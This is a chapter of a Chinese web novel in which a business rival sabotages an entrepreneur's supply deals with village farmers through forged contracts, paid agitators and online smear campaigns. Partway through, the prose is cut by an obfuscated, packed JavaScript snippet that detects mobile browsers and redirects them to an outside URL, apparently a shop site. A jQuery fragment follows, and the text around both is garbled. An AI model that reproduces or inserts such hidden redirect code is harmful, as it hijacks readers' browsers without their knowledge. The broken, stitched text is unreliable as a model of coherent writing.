赵天宇的报复计划,在三天后悄然落地。春日的暖阳依旧照耀着江城,可陈敬言的公司却骤然被乌云笼罩。最先传来坏消息的,是与公司签订合作协议的陈家村。
这天上午,陈敬言正在和苏晚晴审核供应链团队的面试名单,桌上的座机突然急促地响起。电话那头,是陈家村村委会主任陈大叔焦急的声音:“敬言啊,不好了!村里乱套了!好多农户突然闹着要终止合作,说你给的收购价太低,是在压榨他们,还说你们公司的品控标准太苛刻,故意刁难人!”
陈敬言眉头猛地一皱,语气凝重:“陈大叔,这不可能啊!我们的收购价比市场价高10%,品控标准也是提前和大家沟通好的,还派了团队去做免费培训,怎么会突然闹起来?”
“我也不知道啊!”陈大叔的声音里满是无奈,“今天一早,就有几个陌生男人在村里转悠,跟农户们煽风点火,说隔壁村的收购价比你们高两倍,还说你们就是想利用咱们的老手艺赚钱,根本不想让乡亲们真致富。村里的李二牛被他们挑唆得最厉害,带头拉着十几户农户堵在村委会门口,说要是不重新谈价格,就把签好的协议撕了,还不让我们给你们供货!”
陈敬言瞬间明白过来,这肯定是有人故意搞鬼。他强压下心中的怒火,沉声说道:“陈大叔,您先稳住大家的情绪,别让矛盾激化。我现在就带人过去,咱们当面把事情说清楚。”
挂了电话,苏晚晴也察觉到了不对劲,脸色凝重地说:“敬言,这会不会是赵天宇干的?他一直怀恨在心,很可能在背后搞小动作。”
“大概率是他。”陈敬言点了点头,拿起外套快步往外走,“你留在公司盯紧其他两个村子的合作情况,我带林峰去陈家村处理。”
可不等陈敬言赶到陈家村,新的麻烦又接踵而至。苏晚晴的手机接连收到几条消息推送,标题刺眼——《惊!江城非遗匠心汇涉嫌违规挪用资金,5000万研发费来源成谜》《江城大学科研团队学术不端?合作企业非遗匠心汇或涉利益输送》。点开链接,里面全是断章取义的文字和模糊的截图,还配着煽动性的言论,评论区早已被水军占领,满是指责和质疑的声音。
苏晚晴的心瞬间沉了下去,她立刻把链接发给陈敬言,同时拨通了江城大学科研团队负责人的电话。电话接通后,对方的语气带着明显的疏离和警惕:“苏经理,关于我们的合作,恐怕要先暂停一下。网上的负面消息传得沸沸扬扬,学校已经成立了专项调查组,在事情调查清楚之前,我们暂时无法推进合作洽谈。”
“王教授,这些都是谣言,我们可以提供证据证明清白!”苏晚晴急忙解释。
“我理解你的心情,但学校有学校的规定。”王教授的语气很坚决,“等调查结果出来,我们再沟通吧。”说完,便挂断了电话。
另一边,陈敬言刚到陈家村村口,就被眼前的景象惊住了——几十名农户围在村委会门口,里三层外三层堵得水泄不通。李二牛站在一个土坡上,一手叉腰一手挥舞着手臂,嗓门洪亮得像敲锣:“大家别信陈敬言的鬼话!他就是想赚我们的血汗钱!我跟你们说,人家隔壁村收红薯干,一斤给八块,他才给四块五,这不是压榨是什么?今天必须让他把收购价涨到八块,不然就终止合作,把协议撕了!”周围的农户议论纷纷,有人跟着起哄:“对!涨钱!不涨就不供货!”也有年纪大的农户犹豫着开口:“可……可当初签协议的时候,咱们都看过价格,比镇上收的是高一点啊……”话音刚落,就被旁边的人打断:“那是他故意哄咱们的!现在有人揭穿了,咱们可不能吃这个亏!”场面混乱得像一锅粥。
陈敬言深吸一口气,分开人群挤了进去,抬高声音说道:“乡亲们,大家先冷静一点!听我说几句!”喧闹的人群稍稍安静了些,几十双眼睛齐刷刷地盯着他。“关于收购价,我敢打包票,我们给的四块五一斤,比镇上收购站的四块二高出一毛五,这是实打实的市场价上浮10%。”他从随身的公文包里掏出一份打印好的市场价调研表,举起来给大家看,“这是上周我让团队做的周边乡镇收购价调研,大家可以过来看看,有没有哪个村能给到八块一斤的?根本不可能!红薯干的成本摆在这儿,八块一斤的收购价,卖出去都要亏本,谁会做这种生意?”
“你少拿这些假表格糊弄人!”李二牛从土坡上跳下来,冲到陈敬言面前,掏出手机晃了晃,“人家都把其他村的收购合同照片给我看了,白纸黑字写着八块一斤,还有公章呢!你是不是觉得我们农村人没文化,好欺负?”有农户凑过去看李二牛的手机,小声议论:“这合同看着是像真的……”“会不会是我们真被坑了?”陈敬言凑过去看了一眼,一眼就看出破绽——合同上的公章模糊不清,字体大小都不规范,明显是伪造的。
“李二牛,你把手机拿稳了让大家看清楚!”陈敬言指着手机屏幕,大声说道,“你看看这公章,正规公司的公章有清晰的编码和防伪标识,你这上面啥都没有,就是个模糊的红印子!还有这合同条款,漏洞百出,连付款方式、交货时间都没写清楚,这能是真合同吗?”他转头看向人群,“乡亲们,肯定是有人故意伪造合同,挑唆我们之间的关系!我陈敬言是土生土长的农村人,怎么可能压榨乡亲们?我搞供应链合作,就是想让大家的土特产卖个好价钱,一起致富!”
人群里的议论声小了些,有几个明事理的农户开始动摇。就在这时,人群里突然挤出两个流里流气的男人,染着黄毛,穿着花衬衫,其中一个阴阳怪气地说:“哟,陈总这口才可以啊,死的都能说成活的!怎么,被拆穿了就开始找借口?赶紧给乡亲们涨钱,不然这事没完!”林峰一眼就认出这两个人是附近镇上有名的混混,之前就听说他们经常替人出头挑事,赚黑心钱。他立刻上前一步,挡在陈敬言身前,冷声说道:“你们是谁?我怎么从没在村里见过你们?在这里煽风点火、挑拨离间,小心承担法律责任!”
那两个混混毫不在意,反而叉着腰笑了起来:“我们是谁?我们是路见不平的好心人!看不惯有人欺负老实巴交的乡亲们而已。怎么,陈总想仗势欺人?还是说,被我们戳中了痛处,想动手打人?”旁边有农户被他们的话带偏,又开始起哄:“别转移话题!赶紧涨钱!”陈敬言抬手示意大家安静,眼神冰冷地盯着两个混混:“我再问一次,你们是谁派来的?”“谁派来的?”黄毛混混挑眉,“陈总这是做贼心虚了?我们就是路过,爱管闲事不行吗?”
局势瞬间陷入僵局。陈敬言知道,现在再怎么解释,农户们也听不进去。而此时,苏晚晴又发来消息,告知他李家庄和王家坳也出现了小规模的农户骚动,还有不少合作的非遗传承人打来电话询问情况,公司的客服电话更是被打爆,全是咨询负面消息的用户。
陈敬言的脸色愈发阴沉。他原本的规划是,本周敲定三个村子的供应链细节,下周启动仓储中心的前期筹备,同时和江城大学签订研发合作协议。可现在,供应链合作被搅乱,研发项目被迫暂停,网上的负面舆论还在不断发酵,公司的声誉受到严重影响,原本稳步推进的多元化布局,被赵天宇的阴招
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191423|197073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彻底打乱。
“敬言,现在怎么办?”林峰低声问道。
陈敬言深吸一口气,压下心中的焦躁。他知道,现在再怎么和情绪激动的农户、嚣张的混混争辩,都无济于事。“先稳住局面。”他沉声对林峰说道,“你留在这儿盯着,别让这两个混混再挑事,要是他们敢动手,立刻报警。我去跟陈大叔和几个明事理的农户单独沟通,把伪造的合同证据、市场价调研表都摆出来,先争取一部分人的信任,再让他们帮着安抚大家。”林峰点点头:“好,你放心,我盯着他们!”陈敬言拍了拍他的肩膀,转身朝着村委会办公室走去,陈大叔正焦急地在门口等着他,见他过来,连忙迎上去:“敬言,你可算来了,这事儿闹得太凶了!”
安排好陈家村的事,陈敬言立刻拨通了苏晚晴的电话,语气急促却沉稳:“晚晴,情况怎么样?江大那边有进展吗?”苏晚晴的声音带着一丝疲惫:“江大那边还是坚持要等调查结果,我好说歹说,王教授也不肯松口。网上的负面消息还在扩散,客服电话都被打爆了。”“别慌。”陈敬言说道,“你立刻联系公关团队,发布澄清声明,把研发资金的来源证明、银行流水、和江大合作的洽谈记录、品控培训的现场照片等所有能证明清白的资料,都整理好公开公示。另外,让法务部同步报警,追查水军的来源和造谣帖子的发布者。还有,让客服团队统一回应话术,告诉用户我们已经在处理,会尽快给大家一个交代。”“好,我马上安排。”苏晚晴的声音虽然带着紧张,但很坚定,“我已经联系了公关经理,他正在赶来公司的路上,我现在就去整理资料。”挂了电话,苏晚晴立刻起身,快步走向资料室,路过客服部时,特意停下来叮嘱客服主管:“张主管,所有咨询负面消息的用户,都跟他们说我们正在核实情况,会在今天下午五点前发布正式澄清声明,让大家稍安勿躁,不要轻信谣言。”张主管点点头:“好的苏经理,我们已经在这么回应了,但还是有很多用户不相信。”“没关系,等澄清声明发布,再把证据摆出来,大家会相信的。”苏晚晴说道。
“好,我马上安排。”苏晚晴的声音虽然带着紧张,但很坚定。
挂了电话,陈敬言望向村委会门口依旧喧闹的人群,眼神冰冷。他能猜到,这只是赵天宇报复的开始,接下来还会有更多的麻烦等着他们。而此时的赵天宇,正坐在自己的办公室里,看着手下发来的现场照片和网上的舆论截图,嘴角勾起一抹得意的笑容。张彪推门进来,手里拿着一份最新的舆情报告:“赵总,效果比我们预想的还好!陈家村的农户闹得厉害,李家庄和王家坳也开始动摇了,网上的负面舆论已经冲上本地热搜了,‘非遗匠心汇违规研发’的话题阅读量都破百万了!”
赵天宇端起桌上的酒杯,一饮而尽,眼神里满是阴狠和得意:“做得好!这才只是开始。”他放下酒杯,拿起桌上的打火机,点燃了一支烟,深吸一口,缓缓吐出烟圈,“接下来,让那两个混混继续在陈家村盯着,再找几个人去李家庄和王家坳煽风点火,务必把他的供应链彻底搅黄。水军那边也别停,继续发布负面消息,把事情闹大,最好能引来更多媒体关注,让他百口莫辩!”张彪应道:“好的赵总,我这就去安排。”赵天宇挥了挥手,看着张彪离开的背影,低声呢喃:“陈敬言,我要让你一点一点失去你所拥有的一切,让你尝尝我当初身败名裂、走投无路的滋味!”
春日的风,带着寒意吹过陈家村的田野。陈敬言站在阳光下,却感到一阵刺骨的冷。他知道,一场艰难的反击战,已经拉开了序幕。